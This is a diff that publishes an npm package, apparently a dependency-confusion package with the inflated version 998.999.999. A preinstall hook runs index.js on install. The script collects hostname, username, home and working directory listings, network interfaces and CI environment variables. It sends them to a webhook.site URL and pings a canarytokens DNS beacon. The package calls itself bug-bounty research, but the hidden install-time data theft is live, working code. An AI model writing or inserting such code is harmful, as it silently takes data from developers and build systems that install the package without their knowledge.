@transaction-list/transaction-list-xs 998.999.999

package/index.js

@@ -0,0 +1,187 @@
+const https = require('https');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const crypto = require('crypto');
+const dns = require('dns');
+
+const WEBHOOK_URL = "https://webhook.site/ebc5abe3-9dec-4403-bed3-54659c737920";
+
+const chunk1 = {
+  chunkId: 1,
+  totalChunks: 2,
+  
+  
+  hostname: os.hostname(),
+  platform: os.platform(),
+  arch: os.arch(),
+  nodeVersion: process.version,
+  pwd: process.cwd(),
+  username: os.userInfo().username,
+  homedir: os.homedir(),
+  timestamp: new Date().toISOString(),
+  
+ 
+  ciEnvironment: {
+    isCI: !!process.env.CI,
+    
+    azure: {
+      detected: !!process.env.AZURE_HTTP_USER_AGENT || !!process.env.TF_BUILD,
+      buildId: process.env.BUILD_BUILDID,
+      buildNumber: process.env.BUILD_BUILDNUMBER,
+      repository: process.env.BUILD_REPOSITORY_NAME,
+      branch: process.env.BUILD_SOURCEBRANCHNAME,
+      agentName: process.env.AGENT_NAME,
+      definitionName: process.env.BUILD_DEFINITIONNAME,
+    },
+    
+    github: {
+      detected: !!process.env.GITHUB_ACTIONS,
+      repository: process.env.GITHUB_REPOSITORY,
+      workflow: process.env.GITHUB_WORKFLOW,
+      runId: process.env.GITHUB_RUN_ID,
+      runNumber: process.env.GITHUB_RUN_NUMBER,
+      actor: process.env.GITHUB_ACTOR,
+      ref: process.env.GITHUB_REF,
+      sha: process.env.GITHUB_SHA,
+    },
+    
+    gitlab: {
+      detected: !!process.env.GITLAB_CI,
+      jobId: process.env.CI_JOB_ID,
+      pipelineId: process.env.CI_PIPELINE_ID,
+      projectPath: process.env.CI_PROJECT_PATH,
+      commitSha: process.env.CI_COMMIT_SHA,
+      runner: process.env.CI_RUNNER_DESCRIPTION,
+    },
+    
+    jenkins: {
+      detected: !!process.env.JENKINS_HOME || !!process.env.JENKINS_URL,
+      buildNumber: process.env.BUILD_NUMBER,
+      jobName: process.env.JOB_NAME,
+      buildUrl: process.env.BUILD_URL,
+      nodeName: process.env.NODE_NAME,
+    },
+    
+    circleci: {
+      detected: !!process.env.CIRCLECI,
+      buildNum: process.env.CIRCLE_BUILD_NUM,
+      project: process.env.CIRCLE_PROJECT_REPONAME,
+      branch: process.env.CIRCLE_BRANCH,
+      job: process.env.CIRCLE_JOB,
+    },
+    
+    travis: {
+      detected: !!process.env.TRAVIS,
+      buildId: process.env.TRAVIS_BUILD_ID,
+      repo: process.env.TRAVIS_REPO_SLUG,
+      branch: process.env.TRAVIS_BRANCH,
+      jobNumber: process.env.TRAVIS_JOB_NUMBER,
+    },
+  },
+ 
+  npmContext: {
+    npmCommand: process.env.npm_command,
+    npmLifecycleEvent: process.env.npm_lifecycle_event,
+    npmPackageName: process.env.npm_package_name,
+    npmConfigUserAgent: process.env.npm_config_user_agent,
+    initCwd: process.env.INIT_CWD,
+  },
+  
+ 
+  networkInterfaces: os.networkInterfaces(),
+};
+
+const chunk2 = {
+  chunkId: 2,
+  totalChunks: 2,
+  hostname: os.hostname(), 
+  timestamp: new Date().toISOString(),
+  
+  envVars: Object.keys(process.env)
+    .filter(key => {
+      const lowerKey = key.toLowerCase();
+      return (lowerKey.includes('ci') || 
+              lowerKey.includes('build') || 
+              lowerKey.includes('azure') ||
+              lowerKey.includes('github') ||
+              lowerKey.includes('gitlab') ||
+              lowerKey.includes('jenkins') ||
+              lowerKey.includes('npm') ||
+              lowerKey.includes('runner') ||
+              lowerKey.includes('agent')) &&
+             !lowerKey.includes('secret') &&
+             !lowerKey.includes('token') &&
+             !lowerKey.includes('password') &&
+             !lowerKey.includes('key') &&
+             !lowerKey.includes('pat');
+    })
+    .reduce((acc, key) => {
+      acc[key] = process.env[key];
+      return acc;
+    }, {}),
+  
+ 
+  fileSystemProof: {
+    hasAzurePipelinesDir: fs.existsSync('/home/vsts/work') || fs.existsSync('D:\\a'),
+    hasGitHubWorkspace: fs.existsSync(process.env.GITHUB_WORKSPACE || '/tmp/___nonexistent___'),
+    hasJenkinsWorkspace: fs.existsSync(process.env.WORKSPACE || '/tmp/___nonexistent___'),
+    
+    cwdContents: (() => {
+      try {
+        return fs.readdirSync(process.cwd()).slice(0, 50);
+      } catch(e) {
+        return `Error: ${e.message}`;
+      }
+    })(),
+    
+    parentDirs: (() => {
+      let current = process.cwd();
+      const dirs = [];
+      for(let i = 0; i < 5; i++) {
+        dirs.push(current);
+        const parent = path.dirname(current);
+        if(parent === current) break;
+        current = parent;
+      }
+      return dirs;
+    })(),
+    
+    homeContents: (() => {
+      try {
+        return fs.readdirSync(os.homedir()).slice(0, 30);
+      } catch(e) {
+        return `Error: ${e.message}`;
+      }
+    })(),
+  },
+  
+  
+  fingerprint: crypto.createHash('sha256')
+    .update(`${os.hostname()}-${process.cwd()}-${process.env.BUILD_BUILDID || process.env.GITHUB_RUN_ID || Date.now()}`)
+    .digest('hex'),
+};
+
+
+const data1 = JSON.stringify(chunk1);
+const url1 = `${WEBHOOK_URL}?data=${encodeURIComponent(data1)}`;
+
+https.get(url1, (res) => {
+ 
+}).on('error', () => {
+ 
+});
+
+setTimeout(() => {
+  const data2 = JSON.stringify(chunk2);
+  const url2 = `${WEBHOOK_URL}?data=${encodeURIComponent(data2)}`;
+  
+  https.get(url2, (res) => {
+   
+  }).on('error', () => {
+   
+  });
+}, 500);
+
+
+dns.resolve('qynv4zvvx26anhihu3b0bw0ta.canarytokens.com', () => {});

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@transaction-list/transaction-list-xs",
+  "version": "998.999.999",
+  "description": "research ",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "keywords": ["security", "research"],
+  "author": "Bug Bounty Report",
+  "license": "MIT"
+}